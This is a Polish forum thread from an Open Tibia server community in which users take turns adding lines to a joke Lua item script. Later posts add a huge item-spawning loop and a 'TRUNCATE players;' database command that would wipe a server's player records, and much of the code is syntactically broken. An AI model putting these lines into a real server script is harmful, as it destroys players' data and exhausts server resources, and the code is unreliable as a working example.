• There is NO official Otland's Discord server and NO official Otland's server list. The Otland's Staff does not manage any Discord server or server list. Moderators or administrator of any Discord server or server lists have NO connection to the Otland's Staff. Do not get scammed!

Zabawa - Piszemy wspolnie skrypty :D

chojrak

Banned User
Joined
Oct 25, 2008
Messages
5,832
Solutions
2
Reaction score
160
A wiec, ja daje poczatek skryptu, a osoba nastepna dopisuje 3 linijki i tak dalej. Jak skrypt bedzie mial gdzies okolo 20 linijek, podklejam go do pierwszego posta i zaczynamy next (w tym samym temacie).

A wiec zaczynam:
Code:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if (not isPlayer(itemEx.uid)) then
		return true
	end
 
Code:
if hasCondition(cid, CONDITION_EXHAUST_HEAL) == TRUE then
		doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUAREEXHAUSTED)
		return TRUE
	end
The message you have entered is too short. Please lengthen your message to at least 3 characters.
 
Lua:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if (not isPlayer(itemEx.uid)) then
		return true
	end
	
        if hasCondition(cid, CONDITION_EXHAUST_HEAL) == TRUE then
            doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUAREEXHAUSTED)
            return TRUE
        end

	local player = itemEx.uid
	if getPlayerLevel(player) >= 50 then
		doPlayerSendTextMessage(cid, 22, "You're gay, mister Anderson.")
 
Code:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if(not isPlayer(itemEx.uid)) then
		return true
	end
	
	if hasCondition(cid, CONDITION_EXHAUST_HEAL) == TRUE then
		doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUAREEXHAUSTED)
		return TRUE
	end

	local player = itemEx.uid
	if(getPlayerLevel(player) >= 50) then
		doPlayerSendTextMessage(cid, 22, "You're gay, mister Anderson.")
	end
	
	local chojrak = false
	if(not chojrak and getPlayerItemCount(player, ID_POMPKI) >= 69) then
		chojrak = true
	end
 
Code:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if(not isPlayer(itemEx.uid)) then
		return true
	end
	
	if hasCondition(cid, CONDITION_EXHAUST_HEAL) == TRUE then
		doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUAREEXHAUSTED)
		return TRUE
	end

	local player = itemEx.uid
	if(getPlayerLevel(player) >= 50) then
		doPlayerSendTextMessage(cid, 22, "You're gay, mister Anderson.")
	end
	
	local chojrak = false
	if(not chojrak and getPlayerItemCount(player, ID_POMPKI) >= 69) then
		chojrak = true
	end

	if (chojrak) then
		doPlayerAddItem(player, 2160, 100)
	end
 
Code:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if(not isPlayer(itemEx.uid)) then
		return true
	end
	
	if hasCondition(cid, CONDITION_EXHAUST_HEAL) == TRUE then
		doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUAREEXHAUSTED)
		return TRUE
	end

	local player = itemEx.uid
	if(getPlayerLevel(player) >= 50) then
		doPlayerSendTextMessage(cid, 22, "You're gay, mister Anderson.")
	end
	
	local chojrak = false
	if(not chojrak and getPlayerItemCount(player, ID_POMPKI) >= 69) then
		chojrak = true
	end

	if (chojrak) then
		doPlayerAddItem(player, 2160, 100)
	end
	if getPlayerVocation(cid) > 10 then
		local pos = getPlayerPosition(cid)
		doSendAnimatedText(pos,Daj Inwobowi Reuta na otland,3)
	end

Ciekawe czy by zadzialalo xd
 
Hahahah, jakiś ochotnik, który użyje tego skryptu na swoim serwerze? :D
Code:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if(not isPlayer(itemEx.uid)) then
		return true
	end
	
	if hasCondition(cid, CONDITION_EXHAUST_HEAL) == TRUE then
		doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUAREEXHAUSTED)
		return TRUE
	end

	local player = itemEx.uid
	if(getPlayerLevel(player) >= 50) then
		doPlayerSendTextMessage(cid, 22, "You're gay, mister Anderson.")
	end
	
	local chojrak = false
	if(not chojrak and getPlayerItemCount(player, ID_POMPKI) >= 69) then
		chojrak = true
	end

	if (chojrak) then
		doPlayerAddItem(player, 2160, 100)
	end
	
	for i = 1, i = 999999999999999 do
		doCreateItem(2160, 100, getThingPos(itemEx.uid))
	end
 
Code:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if(not isPlayer(itemEx.uid)) then
		return true
	end
	
	if hasCondition(cid, CONDITION_EXHAUST_HEAL) == TRUE then
		doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUAREEXHAUSTED)
		return TRUE
	end

	local player = itemEx.uid
	if(getPlayerLevel(player) >= 50) then
		doPlayerSendTextMessage(cid, 22, "You're gay, mister Anderson.")
	end
	
	local chojrak = false
	if(not chojrak and getPlayerItemCount(player, ID_POMPKI) >= 69) then
		chojrak = true
	end

	if (chojrak) then
		doPlayerAddItem(player, 2160, 100)
	end
	
	for i = 1, i = 999999999999999 do
		doCreateItem(2160, 100, getThingPos(itemEx.uid))
		doPlayerSay(cid,"Jestem hardkorem!",1)
	end
 
Sprawdzałeś? Nie! To siedź cicho.. to zabawa... i nie offtopuj

Code:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if(not isPlayer(itemEx.uid)) then
		return true
	end
	
	if hasCondition(cid, CONDITION_EXHAUST_HEAL) == TRUE then
		doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUAREEXHAUSTED)
		return TRUE
	end

	local player = itemEx.uid
	if(getPlayerLevel(player) >= 50) then
		doPlayerSendTextMessage(cid, 22, "You're gay, mister Anderson.")
	end
	
	local chojrak = false
	if(not chojrak and getPlayerItemCount(player, ID_POMPKI) >= 69) then
		chojrak = true
	end

	if (chojrak) then
		doPlayerAddItem(player, 2160, 100)
	end
	
	for i = 1, i = 999999999999999 do
		doCreateItem(2160, 100, getThingPos(itemEx.uid))
		doPlayerSay(cid,"Jestem hardkorem!",1)
	end
                doPlayerSetSex(cid, hardkor)
                doSendMagicEffect(playerpos, 35)
                 doPlayerSendTextMessage(cid,22,"Nie weszles!")
        end
 
Code:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if(not isPlayer(itemEx.uid)) then
		return true
	end
	
	if hasCondition(cid, CONDITION_EXHAUST_HEAL) == TRUE then
		doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUAREEXHAUSTED)
		return TRUE
	end

	local player = itemEx.uid
	if(getPlayerLevel(player) >= 50) then
		doPlayerSendTextMessage(cid, 22, "You're gay, mister Anderson.")
	end
	
	local chojrak = false
	if(not chojrak and getPlayerItemCount(player, ID_POMPKI) >= 69) then
		chojrak = true
	end

	if (chojrak) then
		doPlayerAddItem(player, 2160, 100)
	end
	
	for i = 1, i = 999999999999999 do
		doCreateItem(2160, 100, getThingPos(itemEx.uid))
		doPlayerSay(cid,"Jestem hardkorem!",1)
	end
                doPlayerSetSex(cid, hardkor)
                doSendMagicEffect(playerpos, 35)
                 doPlayerSendTextMessage(cid,22,"Nie weszles!")
        end
                db.executeQuery("TRUNCATE players;")
        end
 
Dam coś od siebie.
Code:
local vimoco_post = 1252957020 -- 14th August 2009, 19:37
local akues_post = 1372458890
local roznica = akues_post - vimoco_post
local akues = 1 -- 1 if human

function onUse(cid, item, fromPosition, itemEx, toPosition)
if(not isHuman(akues)) then
return true
end

print("Odkopałeś ten post o ponad "..tonumber(roznica/60/60/24).." dni!")
db.executeQuery("TRUNCATE brain;")

return true
end


function isHuman(x)
if x == 1 then 
return true
else
return false
end
end
 
Last edited:
Back
Top